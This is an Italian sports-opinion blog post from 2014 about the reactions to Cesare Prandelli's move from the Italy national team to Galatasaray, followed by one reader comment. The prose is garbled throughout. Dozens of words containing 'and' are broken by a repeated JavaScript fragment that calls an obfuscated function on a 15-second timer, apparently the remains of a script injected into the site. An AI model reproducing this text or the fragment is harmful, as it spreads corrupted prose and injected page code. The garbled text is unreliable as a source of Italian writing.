The Locker Room

PRENDERE O LASCIARE.

12 luglio 2014 Europa, Italia, Seria A
GALA

Immaginatevi una semifinale Mondiale che vede impegnata la Nazionale ospitante che termina con un clamoroso passivo per la suddetta compagine. E immaginate che questo Mondiale sia il secondo tenutosi in questo Stato, una nazione che per antonomasia è ricordata come la Patria di un calcio che proprio lì, ha visto la sua interpretazione più alta, più fantasiosa, più spettacolare. Ed immaginate che il primo Mondiale organizzato in questa sorta di Bengodi del pallone, abbia visto un esito così rocambolesco ed assurdo, da essere ancora ricordato, a distanza di oltre sessanta anni come un incubo, un’onta, mai lavata.

Ecco. Io mi domandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando quindi come sia possibile che dopo i sette goal rimediati dal Brasile di Scolari, l’uomo che nell’immaginario collettivo doveva farsi condottiero di quella Nemesi tanto attesa con il Passato, dopo che questo benedetto Mondiale dei Mondiali vede in finale la Germania, ossia il plotone di esecuzione che ha fatto fuori in venticinque minuti l’intera Selecao, e l’Argentina, ergo il degno completamento di un film dell’orrore per il popolo verdeoro, dopo che l’Italia è stata spazzata via come la casa di paglia del primo maialino della favola dei Tre Porcellini, ci sia qualcuno in Italia capace di spostare l’attenzione mediatica su di sé.

Pensavate che sportivamente parlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, niente fosse sconvolgente come un 1 a 7 ai danni del Brasile? E allora il glorioso Andrea Agnelli se ne esce, affermandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando che Cesare Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli, neo allenatore del Galatasaray, abbia commesso un errore madornale ad accettare l’offerta del Club turco, non tanto per motivazioni strettamente legate all’etica sportiva concernenti una delusione ancora cocente (in tal caso si sarebbe dovuto criticare in primis le dimissioni. Una volta dimessosi è chiaro che Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli sia libero di andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andare dove vuole), ma per questioni di ordine fiscale. Pagherà meno tasse il malandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andrino! Gli italiani costretti a fare i conti con un rigore economico assurdo, la piccola e media impresa, una volta motore dell’economia, ostaggio di una ghigliottina fiscale senza pietà, e lui, che tra le tante cose ha fatto anche segnare due presenze ad un Mondiale a Thiago Motta, sul Bosforo a fare sci nautico e pagare il corrispettivo di un caffè alle Casse dello Stato.

Speriamo che non diano incentivi statali ai club turchi che decidono di ingaggiare Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli! O che costringano Besiktas e Fenerbache a socializzare le eventuali sconfitte del Galatasaray. IL Presidentissimo della Juventus, che avevamo lasciato a raccontare al Mondo la decisione della Juventus di non aggiungere la terza stella sulle maglie fino al momento in cui un club italiano avesse raggiunto la seconda (per far pesare maggiormente la superiorità, a suo dire) un po’ ragione ce l’ha; Cesare Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli non può affermare che il suo progetto in Azzurro è fallito e poi emigrare in lidi più tranquilli, lontano dalle polemiche e con le tasche piene. E’ un po’ come se un’Azienda che da oltre un secolo è sponsorizzata dallo Stato, in tempo di crisi spostasse la sede fiscale e la sede di produzione. Eddai Cesare. Un membro della famiglia Agnelli che pontifica su chi paga le tasse dove è il corrispettivo di Barbablu eletto Presidente di un movimento di supporto alle suffragette. Aberrante.

Ci sono poi altri due uomini di vertice che non hanno preso bene le parole pronunciate dall’ex CT della Nazionale Italiana di Calcio, infastiditi soprattutto dalle parole che l’allenatore ha riservato per due giocatori appartenenti ai club che i due signori rappresentano.

Adriano Galliani ha definito “poco eleganti” le frasi riservate da Cesare Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli a Mario Balotelli, descritto come un ragazzo con dei “bei colpi” ma non certo un campione. Causa? La poca costanza che SuperMario dimostra in qualsiasi occasione. Una scommessa persa, un’attesa tradita per un allenatore che si è sempre schierato dalla parte del giocatore. L’amministratore delegato del Milan ha voluto così rimarcare l’ingiusto accanimento nei confronti di un atleta che non può essere additato come unico responsabile del fallimento Azzurro. Soprattutto perché il Milan lo vuole vendere. E nessuno sborsa una cifra stellare per un giocatore di belle speranze se questo non si conferma anche un professionista serio; Mario Balotelli ha rimarcato il concetto di Galliani, pubblicandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando sui social una sua foto mentre impugna una pistola e la punta contro uno specchio, dopo naturalmente quella in cui tiene in braccio un caimano. Son dimostrazioni.

Chi invece non imbraccia fucili, ammaestra coccodrilli o si sente discriminato perché nato nel New Jersey è Giuseppe Rossi, definito da Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli molto più di una delusione sotto il profilo umano. Sapeva di non rientrare nei venti tre, gli è stato detto due volte, avrebbe avuto una bella storia da raccontare, un simbolo per i giovani … le motivazioni apportate da Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli, ormai le conosciamo. Personalmente non mi convincono, ma ripeto, il 2 Giugno, giorno in cui sono state ufficializzate le convocazioni, il CT era lui, quindi era giusto che facesse le proprie scelte secondo le sue personali valutazioni. Resta il fatto che Giuseppe Rossi non è stato trovato intento a svuotare una tanica di benzina su Coverciano o in possesso di una bambolina di pezza con le sembianze di Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli alla quale aveva conficcato tre spilloni di ferro. Il giocatore della Fiorentina ha semplicemente detto che la sua mancata partenza per il Brasile non era da addurre ai risultati dei test fisici, i quali a suo dire avevano avuto un esito positivo, che teneva a questo Mondiale e che Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli non gli aveva mai precluso a priori alcun che.

La risposta dei Della Valle ha due facce; quella dei fratelli Diego ed Andrea. Il più piccolo, deciso ma comunque moderato, saldo nel sottolineare l’errore di comunicazione dell’ex tecnico della Fiorentina e della Nazionale, che una volta prese le sue decisioni, non avrebbe dovuto permettersi di spostare l’attenzione dal suo fallimento tecnico alle presunte polemiche di Rossi, giocatore per altro escluso dai ventitre.

Diego Della Valle invece conferma di essere una personcina timida, che si trattine nel dire ciò che pensa. “La fuga è nel suo DNA” è una frase che può essere presa come un complimento ad esempio. Se stai correndo la Freccia Vallone o il Giro del Delfinato. E considerandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando che Prandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelli non fa il ciclista presumo che Della Valle Senior non fosse affatto amichevole; a differenza di tante altre persone che hanno parlato, giudicato, pontificato, chiacchierato, in proposito ed a sproposito, penso che per lo meno Diego Della Valle, abbia effettivamente dei precedenti personali ai quali rifarsi, ma che forse, difesa la causa di Rossi, si poteva scongiurare la trasformazione di una risposta dovuta in un accanimento, a mio avviso, evitabile.

  • Ivan Marianelli

    Della Valle come sempre, quando sa di essere nel giusto, non le manda a dire dietro!!